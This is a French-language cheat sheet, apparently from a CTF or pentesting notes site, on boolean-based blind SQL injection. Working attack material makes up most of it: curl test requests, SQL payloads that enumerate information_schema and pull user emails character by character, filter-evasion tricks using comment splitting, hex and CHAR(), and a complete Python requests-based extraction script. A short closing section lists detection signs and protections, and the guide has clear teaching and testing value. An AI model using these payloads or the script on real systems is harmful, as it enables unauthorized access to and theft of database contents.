Skip to content

📋 Définition

L'injection SQL Boolean-based Blind est une technique d'exploitation qui permet d'extraire des données d'une base de données en analysant les réponses binaires (vrai/faux) de l'application, sans voir directement les données.

🔍 Identification

Signes caractéristiques :

  • Application retourne des réponses différentes selon la véracité de la condition SQL
  • Pas d'affichage direct des données de la DB
  • Réponses binaires : true/false, success/error, 200/404, etc.

Test de base :

bash
# Test condition vraie
curl "http://target/api/endpoint/test' OR 1=1 OR 'x'='y"
# Résultat attendu : "true" ou réponse positive

# Test condition fausse  
curl "http://target/api/endpoint/test' OR 1=2 OR 'x'='y"
# Résultat attendu : "false" ou réponse négative

🛠️ Techniques d'exploitation

1. Énumération des structures

sql
-- Compter les bases de données
' OR (SELECT COUNT(*) FROM information_schema.schemata) = X OR 'x'='y

-- Compter les tables dans une DB
' OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='db_name') = X OR 'x'='y

-- Compter les lignes dans une table
' OR (SELECT COUNT(*) FROM table_name) = X OR 'x'='y

2. Extraction caractère par caractère

Méthode SUBSTR + ASCII (classique)

sql
-- Test du premier caractère d'un email
' OR ASCII(SUBSTR((SELECT email FROM users LIMIT 1), 1, 1)) = 97 OR 'x'='y
-- 97 = 'a' en ASCII

Méthode LIKE (plus robuste)

sql
-- Construction progressive avec LIKE
' OR (SELECT email FROM users LIMIT 1) LIKE 'a%' OR 'x'='y
' OR (SELECT email FROM users LIMIT 1) LIKE 'ad%' OR 'x'='y
' OR (SELECT email FROM users LIMIT 1) LIKE 'adm%' OR 'x'='y

Méthode conversion numérique (contournement)

sql
-- Conversion en numérique pour éviter les filtres
' OR (SUBSTR((SELECT email FROM users LIMIT 1), 1, 1) + 0) = 97 OR 'x'='y

3. Navigation dans les résultats

sql
-- Première ligne
SELECT column FROM table LIMIT 1

-- Deuxième ligne
SELECT column FROM table LIMIT 1 OFFSET 1

-- Alternative MySQL
SELECT column FROM table LIMIT 1,1

4. Binary Search (optimisation)

python
def extract_char_binary_search(position):
    low, high = 32, 126  # ASCII printable
    
    while low <= high:
        mid = (low + high) // 2
        condition = f"ASCII(SUBSTR(column, {position}, 1)) >= {mid}"
        
        if test_sql_condition(condition):
            low = mid + 1
        else:
            high = mid - 1
    
    return chr(high) if high >= 32 else None

🚧 Contournements courants

Restrictions sur information_schema

sql
-- Si information_schema est bloqué, bruteforce direct
' OR (SELECT username FROM users LIMIT 1) IS NOT NULL OR 'x'='y

-- Test de colonnes courantes
columns = ['id', 'username', 'email', 'password', 'admin', 'role']
for col in columns:
    test: f"(SELECT {col} FROM table LIMIT 1) IS NOT NULL"

Filtrage de mots-clés

sql
-- Contournement avec encoding
SELECT -> SELE/**/CT
UNION -> UNI/**/ON
OR -> ||

-- Contournement avec CASE
SELECT CASE WHEN condition THEN 1 ELSE 0 END

Filtrage de caractères spéciaux

sql
-- Utilisation de HEX
' OR (SELECT column FROM table) = 0x61646d696e OR 'x'='y
-- 0x61646d696e = 'admin' en hex

-- Utilisation de CHAR()
' OR (SELECT column FROM table) = CHAR(97,100,109,105,110) OR 'x'='y
-- CHAR(97,100,109,105,110) = 'admin'

🔧 Script d'exploitation type

python
import requests
import urllib.parse

class BlindSQLInjection:
    def __init__(self, url, injection_point):
        self.url = url
        self.injection_point = injection_point
    
    def test_condition(self, condition):
        payload = f"{self.injection_point}' OR ({condition}) OR 'x'='y"
        encoded = urllib.parse.quote(payload, safe='')
        
        response = requests.get(f"{self.url}/{encoded}")
        return "true" in response.text.lower()  # Adapter selon l'app
    
    def extract_string_like(self, sql_query):
        result = ""
        charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@.-_'
        
        for pos in range(1, 100):
            found = False
            for char in charset:
                pattern = result + char + '%'
                condition = f"({sql_query}) LIKE '{pattern}'"
                
                if self.test_condition(condition):
                    result += char
                    print(f"Position {pos}: {result}")
                    found = True
                    break
            
            if not found:
                break
        
        return result

📊 Cas d'usage typiques

Applications vulnérables :

  • APIs de validation (ex: /api/user/validate/{username})
  • Systèmes de recherche avec filtres SQL
  • Applications de login avec réponses différentiées
  • Endpoints de vérification (exists/not exists)

Technologies concernées :

  • MySQL, PostgreSQL, SQL Server, Oracle
  • Applications PHP, Python, Node.js, .NET
  • APIs REST/GraphQL avec paramètres SQL

⚠️ Limitations et détection

Limitations :

  • Très lent : 1 caractère = plusieurs requêtes
  • Bruyant : génère beaucoup de logs
  • Dépendant du timing réseau
  • Peut être détecté par les WAF

Signes de détection :

bash
# Dans les logs web
- Multiples requêtes avec OR conditions
- Patterns répétitifs avec SUBSTR/ASCII
- Requêtes avec LIKE patterns progressifs
- Volume élevé de requêtes similaires

Protection :

  • Requêtes préparées (parameterized queries)
  • Validation stricte des entrées
  • WAF avec détection de patterns SQL
  • Rate limiting sur les endpoints sensibles
  • Principe du moindre privilège pour les comptes DB

Charset optimisé :

python
# Charset CTF typique
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@.-_{}:'

Endpoints à tester en priorité :

  • /api/user/validate/
  • /api/auth/check/
  • /search?q=
  • /api/exists/
  • Tout endpoint avec réponse true/false